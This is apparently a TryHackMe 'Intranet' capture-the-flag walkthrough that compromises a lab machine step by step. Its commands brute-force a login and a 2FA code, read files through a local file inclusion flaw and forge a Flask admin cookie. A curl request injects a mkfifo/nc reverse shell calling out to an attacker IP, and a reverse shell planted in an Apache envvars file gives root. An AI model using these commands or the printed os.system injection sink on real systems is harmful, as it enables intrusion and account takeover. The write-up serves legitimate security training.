Intranet

Welcome to the intranet! - by toxicat0r

Recon

Running a nmap scan reveals six open ports: an echo service on port 7, ftp running on port 21, ssh running on 22, a telnet service on port 23, and two web applications on ports 80 and 8080.

Visiting the web application on port 80, we are prompted with a message that the site is under construction. Further investigations via Gobuster did not lead to any interesting material.

Next, running Gobuster on the site on port 8080, we'll find some directories, but all are redirected to the login page.

Flag 1: Web Application - Login Page

On the login page, we need a valid email address as a username and a password to get any further.

Looking at the source code, we are able to get two usernames:

devops@securesolacoders.no

anders@securesolacoders.no

Trying to use the user magnus, the boss of the company, who was mentioned in the room description, we get an error message that the user is invalid.

Next, we try to log in with a random password with the two found usernames and the wild guess of admin@securesolacoders.no. All three logins seem to be valid, like the error message states, the given password is invalid.

With the found information, it's possible to craft a users.txt,and a password base.txt, which will then be used to generate wordlists, to brute force the login page.

users.txt
anders@securesolacoders.no
devops@securesolacoders.no
admin@securesolacoders.no

base.txt
anders
devops
securesolacoders
ssc
sr
senior
developer

For convenience, a hostname is used for the IP of the machine in the /etc/hosts file.

Add 10.10.211.106 securesolacoders.no to /etc/hosts

To mangle the passwords, a simple John rule is configured. Appending some numbers to the possible passwords and having a combination of a password with a number and a special character.

[List.Rules:TryHackMe-Intranet]
Az"[0-9]"
Az"[0-9][0-9]"
Az"[0-9][0-9][0-9]"
Az"[0-9][0-9][0-9][0-9]"
Az"[0-9]" $[!$§$%/()=?*@]

With the created rule, generate a wordlist from base.txt

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ john -wordlist:base.txt -rules:TryHackMe-Intranet -stdout > wordlist.txt   

Running Hydra to brute force the login page.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ hydra -L users.txt -P wordlist.txt securesolacoders.no -s 8080 http-post-form "/login:username=^USER^&password=^PASS^:Error"

After several minutes, we are able to retrieve a password.

To generate a wordlist, that takes less time, the results of this generator can be used:

https://zzzteph.github.io/weakpass/generator/

With the found credentials we are able to log in.

After logging in, we are able to retrieve the first flag and are immediately greeted with the next challenge. A verification code is required to enter a 2FA code.

Flag 2: Web Application - 2FA

Looking at the source, you get confirmation that only 4 characters are needed, as indicated in the input field.

To keep it simple, we'll just use digits for now and use crunch to generate the wordilst.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ crunch 4 4 0123456789 -o 4-digits.txt

To be able to reach the /sms page with tools, the session must be possessed.

We just extract the jwt session cookie and pass it to the tool of our choice.

For the purpose of brute forcing the 2FA code, we use Wfuzz.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ wfuzz -w 4-digits.txt -d "sms=FUZZ" -b session=eyJ1c2VybmFtZSI6ImFuZGVycyJ9.ZJG9DQ.NO3ly56E2-PP7n-lWHuhV8r2ozU 
securesolacoders.no:8080/sms

To hide the incorrect responses, the tag --hl 77 is used to ignore responses with a line count of 77

Hide response with 77 lines.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ wfuzz --hl 77 -w 4-digits.txt -d "sms=FUZZ" -b session=eyJ1c2VybmFtZSI6ImFuZGVycyJ9.ZJG9DQ.NO3ly56E2-PP7n-lWHuhV8r2ozU 
securesolacoders.no:8080/sms

And we get a 2FA Code in this case 4065.

Using the 2FA Code, we are able to log in and get the second flag.

Flag 3: Web Application - LFI

When looking through the page, the internal page with the Update button, which should update the news feed, stands out.

But, there is no more news.

Even logged in as one of the users, we are not able to reach the admin page. We know there is a jwt session cookie used to stay authenticated. This might be a way to get to the admin panel in the future.

Looking further at the behavior of the update button via Burp Suite, an LFI vulnerability becomes apparent.

It is possible to retrieve the /etc/passwd file.

The hint states, that the CMD will lead you to the source, so for the third flag, we have to get the source of the application. The CMD might be a hint on how to retrieve the file path. To check out current running processes, it's possible to read the /proc/self/stat file. When you access /proc/self/stat, you are reading the process status information for the current process.

From there, we are able to retrieve the PID of 669. With /proc/pid/cmdline it's possible to get the command line arguments passed to a specific process with the given pid. And we get the running location of the flask application /home/devops/app.py.

Retrieving the app.py via the LFI we are greeted with the thrid flag in the source code.

Flag 4: Web Application - Flask Secret Key

In the first lines of the application app.py we are able to see how the jwt session key is generated. It's a key containing the string secret_key_ concatenated with a random number between 100000 and 999999. With this information we are able to generate a wordlist and crack the used password with a known jwt session cookie using flask-unsing.

app.py
from flask import Flask, flash, redirect, render_template, request, session, abort, make_response, render_template_string, send_file
from time import gmtime, strftime
import jinja2, os, hashlib, random

app = Flask(__name__, template_folder="/home/devops/templates")


###############################################
# Flag: THM{################################} #
###############################################


key = "secret_key_" + str(random.randrange(100000,999999))
app.secret_key = str(key).encode()

Create the flask_base.txt just containing secrect_key

flask_base.txt
secrect_key_

Define a John rule to append all possible numbers in the range 1000000 to 999999.

[List.Rules:TryHackMe-Flask]
Az"[1-9][0-9][0-9][0-9][0-9][0-9]"

Create the wordlist flask_wordlist.txt using John with the custom defined rule and the flask_base.txt

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$john --rules=TryHackMe-Flask -wordlist:flask_base.txt -stdout > flask_wordlist.txt

Running flask-unsign to crack the secret.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ flask-unsign --unsign --wordlist flask_wordlist.txt --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYW5kZXJzIn0.ZJG_KA.K36wpghyqTOYR0izhewgfKv7wPM'

In this case we get the secret secret_key_848652.

To create our own token first we have to check how the jwt session token is structured.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYW5kZXJzIn0.ZJG_KA.K36wpghyqTOYR0izhewgfKv7wPM'

We see that we are logged in as anders. With this structure, we create our own token. The first try was with devops a known user, but this did not work.

As the directory suggest it is a panel for an admin, and the admin user was also a valid user as we could see in the part of getting the first flag.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret_key_848652'

By creating and using this ticket, we are able to get to the /admin directory with the fourth flag.

Flag 5: Foothold

Looking at the source of the admin page, we see that there was a part of a form that did not get entirely deleted.

Again, looking at app.py we are able to interact with the operating system in line 10 with the os.system() call. This gets its parameters from the lost form. But we are not dependent on this form and are able to send a post request with a value for debug to create a reverse shell.

app.py

@app.route("/admin", methods=["GET", "POST"])
def admin():
        if not session.get("logged_in"):
                return redirect("/login")
        else:
                if session.get("username") == "admin":

                        if request.method == "POST":
                                os.system(request.form["debug"])
                                return render_template("admin.html")

                        current_ip = request.remote_addr
                        current_time = strftime("%Y-%m-%d %H:%M:%S", gmtime())

                        return render_template("admin.html", current_ip=current_ip, current_time=current_time)
                else:
                        return abort(403)

Using cURL, providing the previously created admin session cookie, we plant a basic reverse shell, where we have to url-encode the & sign to get it to work.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/intranet]
└─$ curl 'http://securesolacoders.no:8080/admin' -X POST -H 'Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.ZJHGlw.s1TmXitPQuTelv3vVJ3pOdHK4Sk' --data-raw 'debug=rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.9.31.94 4445 >/tmp/f'

While having a listener set up. We are now the user devops and are able to retrieve the first user flag.

Flag 6: Moving Lateral

Looking at the processes via ps aux, we see something odd. Instead of www-data running apache2, it is anders. This Apache web server might be the web application running on port 80 and our gate to escalate to the user anders.

To confirm our assumption, we look into /var/www/html and find the index.html of the web application on port 80.

Checking out the rights of /var/www/html we are able to write in this folder.

For further confirmation we just create a test.html site and visit it.

Next, we create a simple php-reverse shell provided by pentestmonkey.

Changing IP address and port.

To transfer our reverse shell we use nc as follows.

File transfer via nc

on the receiving end run

nc -l -p <PORT> > <FILENAME>

to send the file

nc -w 3 <TARGET-IP> <PORT> < <FILENAME>

Setting up a listener.

After visiting the site securesolacoders.no/revshell.php we get our reverse shell and are the user anders.

In his home directory the second user flag is located.

Flag 7: Gaining Root

While enumerating the machine, we see that we are able to restart the apache2 service with sudo permission.

In /etc/apache2 the file envvars is writeable by the user anders.

To have a shell in which we can edit this file, we add our ssh key to the authorized_keys file to access the machine via ssh as user anders.

Add the public key.

Connect as user anders via ssh.

Next, add a simple reverse shell to /etc/apache2/envvars and set up a listener.

When restarting the server with sudo permissions, envvars is called ,and we get a reverse shell as user root.

Retrieve the final flag in /root/.

Last updated